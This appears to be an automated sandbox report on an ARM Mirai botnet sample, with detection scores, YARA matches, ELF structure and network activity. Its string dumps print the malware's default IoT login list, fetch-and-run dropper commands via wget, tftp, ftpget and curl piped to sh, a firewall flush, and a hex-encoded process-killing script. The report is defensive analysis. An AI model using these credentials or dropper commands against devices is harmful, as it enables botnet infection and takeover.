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Linux Analysis Report
103.149.87.18-arm-2025-01-04T02_30_34.elf

Overview

General Information

Sample name:103.149.87.18-arm-2025-01-04T02_30_34.elf
Analysis ID:1584055
MD5:2cdc312d0812e83e45053d936e866bd1
SHA1:daa0aa7c124d0e0a84faf1e009f7372aa1083bf9
SHA256:6b358b24e9042ce58824d645bbf62a93733d572e59a52f1d013e294c9c5512a7
Tags:elfuser-threatquery
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1584055
Start date and time:2025-01-04 05:04:04 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 18s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:103.149.87.18-arm-2025-01-04T02_30_34.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@2/0
Command:/tmp/103.149.87.18-arm-2025-01-04T02_30_34.elf
PID:5434
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
103.149.87.18-arm-2025-01-04T02_30_34.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    5434.1.00007f51dc017000.00007f51dc02f000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: 103.149.87.18-arm-2025-01-04T02_30_34.elfVirustotal: Detection: 31%Perma Link
      Source: 103.149.87.18-arm-2025-01-04T02_30_34.elfReversingLabs: Detection: 36%
      Source: 103.149.87.18-arm-2025-01-04T02_30_34.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
      Source: 103.149.87.18-arm-2025-01-04T02_30_34.elfString: /proc//cmdline/mapsselfrebootftpwgetmountunmount-shashtftpcurl/bin/login/exe|ash|login|wget|curl|tftp|ntpdate|ftp/proc/mounts (deleted)/proc/%s/statusPPid:/fdsocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/var/Sofia/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin/
      Source: 103.149.87.18-arm-2025-01-04T02_30_34.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
      Source: /tmp/103.149.87.18-arm-2025-01-04T02_30_34.elf (PID: 5434)Socket: 127.0.0.1:43478Jump to behavior
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: 103.149.87.18-arm-2025-01-04T02_30_34.elfString found in binary or memory: http:///curl.sh
      Source: 103.149.87.18-arm-2025-01-04T02_30_34.elfString found in binary or memory: http:///wget.sh
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
      Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- |
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@2/0
      Source: /tmp/103.149.87.18-arm-2025-01-04T02_30_34.elf (PID: 5434)Queries kernel information via 'uname': Jump to behavior
      Source: 103.149.87.18-arm-2025-01-04T02_30_34.elf, 5434.1.000055b624cfe000.000055b624e4d000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
      Source: 103.149.87.18-arm-2025-01-04T02_30_34.elf, 5434.1.00007ffc5d8d2000.00007ffc5d8f3000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/103.149.87.18-arm-2025-01-04T02_30_34.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/103.149.87.18-arm-2025-01-04T02_30_34.elf
      Source: 103.149.87.18-arm-2025-01-04T02_30_34.elf, 5434.1.000055b624cfe000.000055b624e4d000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
      Source: 103.149.87.18-arm-2025-01-04T02_30_34.elf, 5434.1.00007ffc5d8d2000.00007ffc5d8f3000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
      Source: 103.149.87.18-arm-2025-01-04T02_30_34.elf, 5434.1.00007ffc5d8d2000.00007ffc5d8f3000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: 103.149.87.18-arm-2025-01-04T02_30_34.elf, type: SAMPLE
      Source: Yara matchFile source: 5434.1.00007f51dc017000.00007f51dc02f000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: 103.149.87.18-arm-2025-01-04T02_30_34.elf, type: SAMPLE
      Source: Yara matchFile source: 5434.1.00007f51dc017000.00007f51dc02f000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting
      Valid AccountsWindows Management Instrumentation1
      Scripting
      Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Non-Application Layer Protocol
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      103.149.87.18-arm-2025-01-04T02_30_34.elf32%VirustotalBrowse
      103.149.87.18-arm-2025-01-04T02_30_34.elf37%ReversingLabsLinux.Trojan.Multiverze
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      162.213.35.24
      truefalse
        high
        NameSourceMaliciousAntivirus DetectionReputation
        http:///wget.sh103.149.87.18-arm-2025-01-04T02_30_34.elffalse
          high
          http:///curl.sh103.149.87.18-arm-2025-01-04T02_30_34.elffalse
            high
            No contacted IP infos
            No context
            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            daisy.ubuntu.comFantazy.x86.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.25
            la.bot.mipsel.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            Fantazy.mpsl.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.24
            Fantazy.arm4.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.25
            sshd.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.24
            la.bot.arm6.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            la.bot.mips.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            la.bot.arm7.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            jklarm.elfGet hashmaliciousUnknownBrowse
            • 162.213.35.25
            No context
            No context
            No context
            No created / dropped files found
            File type:ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
            Entropy (8bit):6.104937856916078
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:103.149.87.18-arm-2025-01-04T02_30_34.elf
            File size:97'104 bytes
            MD5:2cdc312d0812e83e45053d936e866bd1
            SHA1:daa0aa7c124d0e0a84faf1e009f7372aa1083bf9
            SHA256:6b358b24e9042ce58824d645bbf62a93733d572e59a52f1d013e294c9c5512a7
            SHA512:9972a2dc8648dbb2239f85603e79280f7378c11bd03053333c8860e152c701ac4ebffc34dde0788dce9a56b3f5a277d46428475d4d5f22e2aad3d6ffe39b8243
            SSDEEP:1536:dPP6cLgyFPYxmj9TOkOxqHeIvS2gRKU/jSbZ/Zi4xPzgX8kADknOk1bcK+rZvBYc:dTgyFPYxmjqxaeIv9mKUrQZ/Zi428kkD
            TLSH:1A93F995B8929A57C6C546BBFE4F428D372623E8E2DF3303CD14AF21368B45B1D2B151
            File Content Preview:.ELF...a..........(.........4....y......4. ...(......................t...t...............t...t...t......pg..........Q.td..................................-...L."....N..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

            ELF header

            Class:ELF32
            Data:2's complement, little endian
            Version:1 (current)
            Machine:ARM
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:ARM - ABI
            ABI Version:0
            Entry Point Address:0x8190
            Flags:0x202
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:3
            Section Header Offset:96704
            Section Header Size:40
            Number of Section Headers:10
            Header String Table Index:9
            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x80940x940x180x00x6AX004
            .textPROGBITS0x80b00xb00x13aa40x00x6AX0016
            .finiPROGBITS0x1bb540x13b540x140x00x6AX004
            .rodataPROGBITS0x1bb680x13b680x39900x00x2A004
            .ctorsPROGBITS0x274fc0x174fc0x80x00x3WA004
            .dtorsPROGBITS0x275040x175040x80x00x3WA004
            .dataPROGBITS0x275100x175100x4700x00x3WA004
            .bssNOBITS0x279800x179800x62ec0x00x3WA004
            .shstrtabSTRTAB0x00x179800x3e0x00x0001
            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            LOAD0x00x80000x80000x174f80x174f86.13040x5R E0x8000.init .text .fini .rodata
            LOAD0x174fc0x274fc0x274fc0x4840x67703.39410x6RW 0x8000.ctors .dtors .data .bss
            GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
            TimestampSource PortDest PortSource IPDest IP
            Jan 4, 2025 05:04:51.654261112 CET6078053192.168.2.131.1.1.1
            Jan 4, 2025 05:04:51.654315948 CET3426353192.168.2.131.1.1.1
            Jan 4, 2025 05:04:51.661026001 CET53342631.1.1.1192.168.2.13
            Jan 4, 2025 05:04:51.661364079 CET53607801.1.1.1192.168.2.13
            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
            Jan 4, 2025 05:04:51.654261112 CET192.168.2.131.1.1.10x867eStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            Jan 4, 2025 05:04:51.654315948 CET192.168.2.131.1.1.10x14c8Standard query (0)daisy.ubuntu.com28IN (0x0001)false
            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
            Jan 4, 2025 05:04:51.661364079 CET1.1.1.1192.168.2.130x867eNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
            Jan 4, 2025 05:04:51.661364079 CET1.1.1.1192.168.2.130x867eNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

            System Behavior

            Start time (UTC):04:04:49
            Start date (UTC):04/01/2025
            Path:/tmp/103.149.87.18-arm-2025-01-04T02_30_34.elf
            Arguments:/tmp/103.149.87.18-arm-2025-01-04T02_30_34.elf
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1